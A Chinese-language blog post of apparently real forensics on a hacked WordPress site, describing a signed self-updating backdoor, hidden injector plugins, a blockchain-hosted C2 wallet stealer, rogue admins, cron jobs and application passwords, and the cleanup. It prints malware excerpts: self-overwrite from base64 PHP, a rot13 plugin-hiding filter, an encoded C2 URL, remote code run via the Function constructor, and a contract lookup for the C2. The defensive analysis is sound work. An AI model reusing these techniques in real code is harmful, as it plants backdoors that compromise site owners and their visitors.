一個 WordPress 被駭的真實鑑識:駭客入侵後到底做了什麼

最近經手一個客戶的 WordPress 網站,前台打開直接被 Google 判定為危險網站,清查後駭客做了以下事情:一支能遠端寫檔的後門、一段只對 Windows 訪客發作的注入腳本,還有三個 2023 年就潛伏至今的惡意外掛。

這篇是主機鑑識的完整紀錄,重點不在「被駭很可怕」,而是在駭客入侵之後實際做了哪些事,以及我們怎麼一層一層把它清掉。

先給一個直接的答案:現代的 WordPress 入侵想要的是長期、隱蔽地佔用你的網站,拿它對訪客投放惡意腳本、偷加黑帽 SEO 外連、盜取加密貨幣錢包,同時留下好幾個能重新進來的後門。

徵狀:前台乾淨,DOM 卻不乾淨

一開始能抓到的線索只有一個,用瀏覽器打開網站,前台 HTML 用 curl 抓下來是乾淨的,但實際在瀏覽器的 DOM 裡,卻有一支外部腳本被載入了三次。

這個落差本身就是線索,惡意腳本不寫在靜態 HTML 裡,而是由一段 JavaScript 在瀏覽器端動態注入的,所以爬蟲和 curl 看不到,只有真的用瀏覽器跑 JS 才會出現。這種手法能躲過大部分只掃靜態原始碼的檢測。

上主機之後,用最近修改時間排序 PHP 檔、比對可疑檔名,加上 WP-CLI 撈外掛與使用者清單,完整的感染樣貌才浮出來。它不是單一一支木馬,而是一條分工明確的攻擊鏈。

第一層:能自我更新的 token 驗證後門

最危險的一支檔案叫 wp-content/easypost/easypost.php,放在一個不屬於任何正常外掛的獨立目錄裡,處理當天還在被修改,760 行的程式碼,寫得比大多數正版外掛還要工整。

它是一個獨立的 HTTP 端點,自己載入 WordPress 核心(往上層層找 wp-load.php),不透過外掛系統註冊,所以在後台外掛清單裡完全看不到。真正讓人意外的是它的驗證機制——這不是隨便寫寫的 webshell,而是一套完整的簽章驗證:

$signature_input = implode("\n", array(
    strtoupper($_SERVER['REQUEST_METHOD']),
    $path,
    $timestamp,
    $request_id,
    $token_id,
    $computed_body_sha256,
));
$expected = hash_hmac('sha256', $signature_input, $secret);
if (!hash_equals($expected, $signature)) {
    easypost_endpoint_json(401, array('ok' => false, 'error' => 'signature_mismatch'));
}

每個請求都要帶 token id、時間戳(誤差超過 300 秒就拒絕)、request id(用 transient 做重放保護)、body 的 SHA256,以及一組 HMAC 簽章。換句話說,駭客把自己的後門保護得比客戶的網站還嚴XD,就算別的攻擊者發現這支檔案,沒有那把私鑰也用不了。

$_GET['action'] 決定它做什麼,路由包含 create_post(自動發文)、place_homepage_link / remove_homepage_link(在首頁塞隱藏外連),還有最致命的 update_endpoint

$decoded_php = base64_decode($payload['phpBase64'], true);
$computed_sha256 = hash('sha256', $decoded_php);
if (!hash_equals($payload['sha256'], $computed_sha256)) {
    easypost_endpoint_json(400, array('ok' => false, 'error' => 'sha256_mismatch'));
}
easypost_endpoint_verify_release_signature($payload, $computed_sha256);
// ... 寫入暫存檔後 rename 覆蓋自己
if (!rename($tmp_path, __FILE__)) { ... }

這是一個帶 OTA 公鑰簽章驗證的遠端程式碼更新機制。駭客可以隨時把一段新的 PHP 用 base64 傳進來,只要通過公鑰簽章,後門就會把自己覆寫成新版本。等於這支後門會「自我升級」,你今天分析的版本,明天可能就變成另一個樣子。

它的 SEO 外連注入也做得很細。place_homepage_link 支援好幾種隱藏樣式,直接看程式碼就懂:

case 'WHITE_LINK':      // 白底白字
case 'CLASS_HIDE':      // display:none
case 'NO_WIDTH':        // 1px 寬高
case 'INVISIBLE_ZONE':  // 移到畫面外 -11407px
case 'NO_OPACITY':      // opacity:0.001

注入的連結會寫進一個叫 easypost_homepage_placements 的 option,再透過它自己寫進 mu-plugins/easypost-runtime.php 的一段 runtime 程式,用 ob_start 攔截整頁輸出、在 </body> 前插入。就算你刪了主檔,那支 mu-plugin 還會繼續運作。這就是它的持久化設計:一支對外的控制端點,加一支藏在 mu-plugins 的執行層。

前台那支腳本的來源,是一個偽裝成快取外掛的 advanced-database-resolver。它的 plugin header 寫得像模像樣——「Automated resource management and cache invalidation handler」,作者掛「Cloud Starter」,連 Plugin URI 都指向 wordpress.org。

但它做的第一件事,是把自己從外掛清單裡藏起來:

add_filter(str_rot13('nyy_cyhtvaf'), function($plugins) use ($entry_handle) {
    if (isset($plugins[$entry_handle])) {
        unset($plugins[$entry_handle]);
    }
    return $plugins;
});

str_rot13('nyy_cyhtvaf') 解出來是 all_plugins。它 hook 這個 filter 把自己移除,所以你在後台外掛頁看不到它。同樣的手法還用來移除「停用」和「刪除」的操作連結、攔截更新檢查——用 str_rot13base64 把字串藏起來,躲過靜態掃描。

接著它會判斷要不要對這個訪客下手。登入中的使用者跳過(檢查 wordpress_logged_in_ cookie),路徑命中 wp-adminlogin、靜態資源等就跳過。通過之後,在 wp_footer 用優先權 99 注入一段腳本:

$data_source = gzuncompress(base64_decode("eNrLKCkpKLbS10/MSc83ykstLtHLzEvL18/LN6oAAIupCes="));
// 解出來是 C2 網址 https://algo2nest.info/no2x

注入的 JS 會 fetch 這個網址、拿回一段程式碼字串,然後用 Function 建構式執行:

var _f = [].constructor.constructor;  // 等於 Function
(_f(_block))();

[].constructor.constructor 是拿到 Function 的迂迴寫法,同樣是為了躲過關鍵字掃描。這支就是動態注入那支腳本的源頭——遠端隨時換內容,網站端只是一個轉發器。

第三層:把 C2 藏在區塊鏈上的錢包盜取器

第三支 speed-optimizer 是整條鏈裡技術最新的一個。它在 wp_head 注入一個蓋滿整個畫面的假載入動畫(一個轉圈圈的 spinner),把真正在背景做的事遮起來。

真正的重點在它怎麼取得 C2 位址。它不寫死網址,而是去讀 Polygon 區塊鏈上的一個智能合約:

body: JSON.stringify({
    jsonrpc: "2.0",
    method: "eth_call",
    params: [{ to: "0xf5966808a9ECbdb8794F568922809C52b0Fd2446", data: "0x3bc5de30" }, "latest"],
    id: 1
})

這個技術叫 EtherHiding。C2 網址存在區塊鏈的智能合約裡,腳本透過公開的 Polygon RPC 節點(程式裡列了八個備援)去 eth_call 讀出來、解碼、再載入 /get_script。好處對駭客來說很直接:區塊鏈上的資料沒有人能下架。你可以檢舉一個惡意網域讓它被封,但你沒辦法叫某條公鏈刪掉一筆合約狀態。

它的下手條件也寫得很明確:只打 Windows、跳過爬蟲。

const words = ["bot", "google", "spider"];
const shouldBlock = words.some(w => navigator.userAgent.toLowerCase().includes(w));
const shouldShow = (navigator.platform || "").toLowerCase().includes("win") &&
    (/windows/i).test(navigator.userAgent || "");
if (!shouldBlock && shouldShow) { /* 載入 payload */ }

最終投放的 payload,就是後來在網站上看到的假 Cloudflare 人機驗證頁——也就是所謂的 ClickFix 社交工程攻擊。它會騙訪客打開「執行」視窗、貼上一段「Cloudflare 驗證碼」,那段其實是惡意指令。搭配鏈上讀出的錢包盜取腳本,對象是有裝加密貨幣錢包的 Windows 使用者。整條鏈的目的到這裡才完全明朗:網站只是投放管道,真正的獵物是訪客的錢包。

潛伏更久的一層:五個亂數命名的黑帽 SEO 外掛

除了這次的三支,還有一批更早的東西。外掛清單裡有五個名字像亂數的外掛:laravel-janetmicroflex-macroconstantplatformist-quadendpointerminiapplicationing-protypescripticuniserviceist-multiinfrastructure

一開始我判斷它們可能是盜版付費外掛,實際讀了程式碼才發現看錯了——它們本身就是惡意外掛。特徵完全一致:外掛名稱、描述、作者全是無意義的亂數詞(某一個的真實名稱叫「Transducer Microadaptive」,描述是「monobalance polycompile microsync」),變數名是幾百字的英文詞亂拼,每支檔案裡有十幾處 base64_decode,全都 hook 到 wp_headwp_footertemplate_redirect,對每個訪客的頁面注入內容。

它們從 2023 年就存在,比這次的錢包盜取器早了兩年,是上一波入侵留下的持久層,一直沒被發現。這也帶出一個現實:一個被駭的網站,身上往往不只一組人的痕跡。

駭客還動了帳號、排程與內容

程式碼之外,駭客在資料庫裡也留了東西。

惡意管理員帳號——建了三個新的管理員:administrator_47776cbot(email 是 bot@local.invalid)、lyra11205,建立時間集中在入侵那幾天。這是最典型的持久化手段:就算你清掉所有後門檔案,只要帳號還在,駭客隨時能登入後台重新植入。

惡意排程——一個叫 sc_cron_fetch 的 WP-Cron 任務,定期去遠端抓 payload,對應那支 speed-optimizer。它把「定期更新惡意內容」這件事自動化了。

惡意 transient——一個 29KB 的 _transient_sc_payload_t,存著混淆過的 payload。這種把資料塞進 transient 的手法本身是合法機制,也正因為合法,容易被當成正常資料略過,我在WordPress Transient 暫存機制的風險裡談過它的雙面性。

垃圾內容——/news/ 分類下被塞了 13 篇賭場、外匯的黑帽 SEO 垃圾文,語言橫跨俄文、波蘭文、亞塞拜然文、瑞典文,全歸在「Uncategorized」、日期集中在兩天內。這是那些注入外掛灌進來的,目的是借網站的權重做 SEO spam。

還有一個細節值得記下來:原本站主自己的管理員帳號角色被拔掉了(roles 欄位空白、無法登入後台)。駭客一邊給自己開帳號,一邊把真正的擁有者踢出管理權限。

WordPress 惡意程式清除:實際做了哪些事

清除的原則是先保全證據、再動手,而且順序很重要——後門和惡意帳號沒清乾淨之前,網站不能算安全。以下是這次實際的步驟。

  1. 先做隔離備份。整站檔案與資料庫先備份到一個隔離目錄(db-before-clean.sqlfiles/),既保留證據,萬一誤刪也能回復。
  2. 惡意檔案移入隔離區,不直接刪。把 easypost 後門、三支注入外掛、五個黑帽 SEO 外掛、可疑的 uploads 檔案搬到隔離目錄。先在 WP 停用再搬移,搬完立刻驗證前台正常。
  3. 刪除惡意管理員帳號。三個惡意帳號刪除,名下內容轉移給正常帳號,同時恢復被拔角色的原擁有者帳號。
  4. 清資料庫殘留。刪掉惡意排程 sc_cron_fetch(確認其他 cron 都是 WP、wp-rocket、akismet 的正常項目)、清掉惡意 transient、刪除 13 篇垃圾文。
  5. 校驗核心。用 WP-CLI 的 wp core verify-checksums 比對官方 checksums,確認 wp-includeswp-admin 沒有被竄改。這一步能排除核心檔被植入的可能。
  6. 輪換所有憑證。重洗 WordPress salts(會登出所有 session)、清空所有登入 session、重設管理員密碼。既然後門能寫檔,舊密碼、資料庫密碼、SSH 密碼都要當作已外洩。
  7. 清快取、驗證 DOM。清掉 wp-rocket 的頁面快取,用瀏覽器重新載入、避開快取,確認 DOM 裡不再有任何外部惡意腳本、假載入遮罩也消失。

清完之後,用 Sucuri SiteCheck 掃描顯示「No Malware Found」,站上已經沒有惡意碼。但這裡有個常被誤解的點:「掃不到惡意程式」不等於「警告會馬上消失」。Google Safe Browsing 的黑名單存在 Google 端,網站清乾淨後不會自動解除,要到 Google Search Console 的「安全性問題」手動送出重新審查,通常一到三天才會撤掉紅色警告,清除和解除黑名單是兩件事。

清完又被塞文章:三道獨立的持久化管道

初次清除後隔天,/news/ 又出現新的垃圾文。這不代表清除無效,而是點出一個重要的觀念:一次有規模的入侵,通常會佈下好幾道彼此獨立的持久化管道,一道被堵住,攻擊者就換下一道。追這次的復發,剛好把三種不同層級的持久化攤開來看。

第一道:另一份後門副本。 新垃圾文的 post_authorNULL——不是從後台正常發布的,是被程式直接寫進資料庫。查站點的 nginx 存取日誌,找到一支偽裝成 comment_section_1783218498.php 的檔案放在 wp-content 根目錄,收到 POST ?action=create_post 就發文。它是前面那支 easypost 後門的同款程式碼、不同 token 的副本。同一套後門會撒好幾份、用不同檔名藏在不同目錄,清除時只認資料夾名稱就會漏。這也是為什麼移除後門要靠「程式碼特徵」全站掃描,而不是逐一認檔名。

第二道:REST API 加應用程式密碼。 移除那支後門後,垃圾文仍然回來,這次作者掛在正常帳號 evptech 名下、透過 POST /wp-json/wp/v2/posts 進來,而且通過了身分驗證。關鍵是它繞過了兩次密碼重設。原因是攻擊者早就在 evptech 帳號下建了兩組應用程式密碼(sentinelauto-bootstrap)。應用程式密碼是 WordPress 的正常功能,設計上就獨立於登入密碼,即使改了帳號密碼、登出所有 session,它照樣有效。這是最容易被忽略的持久層,因為它不是檔案、不在外掛清單,而是藏在使用者資料裡。處理方式是撤銷那兩組密碼、用 mu-plugin 停用整個應用程式密碼功能,再重設密碼並銷毀 session。

第三道,也是根本:沒補的 RCE 漏洞。 前兩道都是結果,真正讓後門能一再被放進來的,是那批有已知 RCE 漏洞的舊外掛,只要漏洞還開著,攻擊者就能重新上傳後門、重新建應用程式密碼,清幾次都會復發。清除只是把已知的痕跡抹掉,補漏洞才是斷掉入口。

一次完整的清除,難的不是刪掉看得到的惡意檔,而是把每一道持久化管道都列出來——檔案後門、資料庫帳號、排程、應用程式密碼,以及最根本的入侵漏洞。少查一種,網站就會用它自己的方式提醒你還漏了什麼。

怎麼預防下一次

就一個老方法:定期更新 WP 核心&外掛,想理解攻擊者怎麼利用一個外掛漏洞打進來,可以參考逆向走一次 WordPress 外掛漏洞這篇。從這個案例倒推,幾個能真正降低風險的做法:

  • 不要用 nulled(破解版)外掛與主題。那五個潛伏兩年的黑帽 SEO 外掛就是最好的例子——你以為省了授權費,實際上請了一個常駐後門進來。
  • 有漏洞又不能更新的外掛,寧可移除。付費外掛授權過期就更不到官方版本,舊版的 RCE 漏洞會一直開著。要嘛續授權更到最新,要嘛換掉。
  • 收斂管理員帳號,並盤點應用程式密碼。定期檢查使用者清單,把不明帳號、久未使用的帳號降權或刪除。同時檢查每個帳號的應用程式密碼——它獨立於登入密碼,是改密碼也擋不掉的持久化管道;用不到的話,直接停用整個功能。
  • 收斂曝險面。關掉沒在用的 XML-RPC(常被拿來暴力破解與 pingback DDoS)、刪掉會洩漏版本的 readme.html。這些不是漏洞,但少一個資訊外洩點就少一分被鎖定的機會。
  • 開啟兩步驟驗證、用高強度密碼。弱密碼加暴力破解仍然是最常見的入口,這部分我在WordPress 安全防護實戰裡整理過弱密碼、檔案竄改、XML-RPC 的防法。
  • 關掉後台檔案編輯器。在 wp-config.phpdefine('DISALLOW_FILE_EDIT', true);,少一個讓攻擊者直接改主題檔的介面。
  • 做檔案完整性監控。這次靠「最近修改的 PHP 檔」就抓到後門,如果平常就有 checksums 或版本控管,異常寫入會更早被發現。
  • 定期跑核心 checksums 校驗wp core verify-checksums 幾秒鐘就能確認核心沒被動過手腳。

最後一句實話:被駭之後,你能做的是把已知的洞補起來、把留下的後門清乾淨,但沒有人能保證「絕對不會再被駭」。安全不是一次性的清除,而是把入侵的成本墊高、把發現的時間縮短。這次網站前台看起來一直是正常的,真正的問題全藏在看不見的地方。

如果你的網站有出現類似的狀況可以把這篇丟給 AI 請它進主機幫你檢查,或是不確定要怎麼處理可以與我聯繫

AI 文章延伸

讓 AI 幫你讀這篇文章

選擇平台後會自動帶入閱讀脈絡,快速整理重點、補齊盲點,並延伸到同站相關文章。

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *

這個網站採用 Akismet 服務減少垃圾留言。進一步了解 Akismet 如何處理網站訪客的留言資料